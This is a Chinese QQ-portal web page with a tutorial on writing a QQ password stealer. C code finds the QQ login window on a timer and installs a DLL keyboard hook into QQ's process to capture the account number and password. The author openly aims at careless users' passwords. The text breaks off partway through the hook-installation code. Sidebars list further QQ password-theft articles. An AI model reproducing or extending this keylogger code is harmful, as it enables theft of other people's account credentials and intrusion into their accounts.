原创投稿
网站地图
百度搜藏
收藏本站
首页
QQ个性签名
QQ网名
QQ头像
QQ分组
QQ表情
QQ空间素材
非主流图片
好友印象
QQ下载
QQ新闻
QQ游戏
您现在的位置:
安徽QQ之家
>
QQ频道
>
QQ资讯中心
>
QQ攻防
>阅读正文
盗QQ的密码软件模拟实现技术
一般的盗密码的软件的软件都是通过监视键盘来获得密码,这样操作比较方便,但是这样也存在一定问题,密码有的时候不是很准确,因为有的人输入密码并不是从前到后输入,当然这样的人也是少数,盗密码嘛,当然去得到那些比较粗心的人的密码! 通过安装钩子来监视QQ登陆界面就是获得密码的方法,在安装前得先找到登陆窗口的句柄,当钩子安装后,记录键盘,当用户“回车”或是点了“登陆”就可以开始处理密码了! 我准备分为四部分来说明这个整个过程:
(1)寻找QQ登陆界面。
(2)安装钩子
(3)钩子函数的解释.
(4)处理密码。
以下部分全是使用C语言,文章中我假设读者您是会C/SDK编程的。如果遇到相关的概念性问题,您可以查看MSDN或是上BBS 询问!
第一部分:(1)寻找QQ登陆界面。
软件运行后,利用安装定时器,每秒在系统找QQ登陆界面,这样基本上只要用户打开了QQ登陆界面就会被抓住其句柄,看下面
代码
:
#define ID_MYTIMER 555
SetTimer(hDlg, ID_MYTIMER, 1000, NULL);
安装好TIMER后,下面是处理主程序的WM_TIMER消息,凡是出现没有定义的变量,您可以理解为是全局变量.
//处理WM_TIMER
代码
if (!IsWindow(g_hQQLogin)) //判断g_hQQLogin是否是有效的窗口句柄
{
HWND hLogin=NULL;
g_hQQLogin = NULL;
SetQQHook(NULL); //参数为NULL是卸载HOOK,参数为句柄是安装句柄
do
{
//利用FindWindowEx查找QQ登陆窗口,具体参数意思请查MSDN
g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL); //对话框的类都是#32770
//找到类名是#32770后,再在其窗体内找一个具有“ 登录QQ”的BUTTON按纽
hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", " 登录QQ"); //这一句很关键,如果你的QQ登陆窗口上没有" 登录QQ"字样,那么获取密码将失败!
}
while(g_hQQLogin != NULL && hLogin == NULL); //直到找到指定的窗口,即:QQ登陆窗口
if (g_hQQLogin != NULL)
{
SetQQHook(g_hQQLogin);//安装HOOK,此函数在DLL文件中 第二部分中介绍
}
}
上面就是查找QQ登陆窗口句柄的过程,从
代码
可以看出我用的方法:找一个其子窗体中有一个标题为“ 登录QQ”的BUTTON的对话框(这句话说得有点饶口,这句话如果也看不懂,下面您不用看了:() 我最开始是想利用 FindWindow(NULL,"QQ用户登陆窗口")来查找,但是我用Spy++看了QQ登陆窗口的标题并不是“QQ用户登陆窗口”,而是“乱码”,其中包含了回车键等特殊字符,于是我用了FindWindowEx().
第二部分:(2)安装钩子
找到了QQ登陆窗口后,就成功了一半。:)
下面是DLL文件中的安装HOOK的函数SetQQHook(), 为什么要用DLL(动态连接库)?要去“钩”其他进程的消息,得让HOOK函数在DLL中,这样好映射到其地址空间中!
BOOL WINAPI SetQQHook(HWND hQQLogin)
{
//获得登陆框的句柄
BOOL bRet = FALSE;
if (hQQLogin != NULL)
{
DWORD dwThreadID = GetWindowThreadProcessId(hQQLogin, NULL); //这是什么意思?看MSDN
g_hNum = GetDlgItem(hQQLogin, 138);//不同版本QQ,此处不一样! 得到QQ号的子窗口句柄
g_hPsw = GetDlgItem(hQQLogin, 180); //不同版本QQ,此处不一样!得到QQ密码的子窗口句柄
if (g_hNum == NULL)
9
7
3
1
2
3
4
4
8
:
上一篇:
避开QQ聊天时遭受攻击的安全技巧
下一篇:
大良已有2名女子上当,轻信QQ中奖被骗13万元
本文标题:
盗QQ的密码软件模拟实现技术
本文地址:
最新更新
最新QQ攻略
腾讯QQ大明龙权,大明龙权外挂,大明龙
腾讯推出密保令牌,QQ安全中心全新改
中奖消息莫相信,假冒系统消息频繁活
回顾2008常见骗术,斩断伸向QQ用户的
大良已有2名女子上当,轻信QQ中奖被
盗QQ的密码软件模拟实现技术
避开QQ聊天时遭受攻击的安全技巧
QQ消息炸弹原理解析及防御方法
QQ又带新
QQ密码本地破解的原理和方法
保护QQ安全如何采取主动防范
排行榜
QQ密码本地破解的原理和方法
盗QQ号码方法大全
盗QQ密码-木马GOP
盗QQ的密码软件模拟实现技术
400秒远程攻破你的QQ密码 OICQ存在安
QQ消息炸弹原理解析及防御方法
以下几种黑QQ的主要方法
QQ又带新
隐藏QQ容易暴露出来的IP地址
避开QQ聊天时遭受攻击的安全技巧
揭穿远程破解盗窃QQ密码黑手内幕
一波三折搞定QQ木马病毒
本站部分内容来自与互联网,如果侵犯了您的权益,请来信告诉我们,我们会尽快删除!联系邮箱:jxun.zhou&163.com(请把&换成@)
~|安徽QQ之家|~ www.anhuiqq.cn 版权所有 Copyright?2000-2012 anhuiqq, All Rights Reserved
皖ICP备07003335号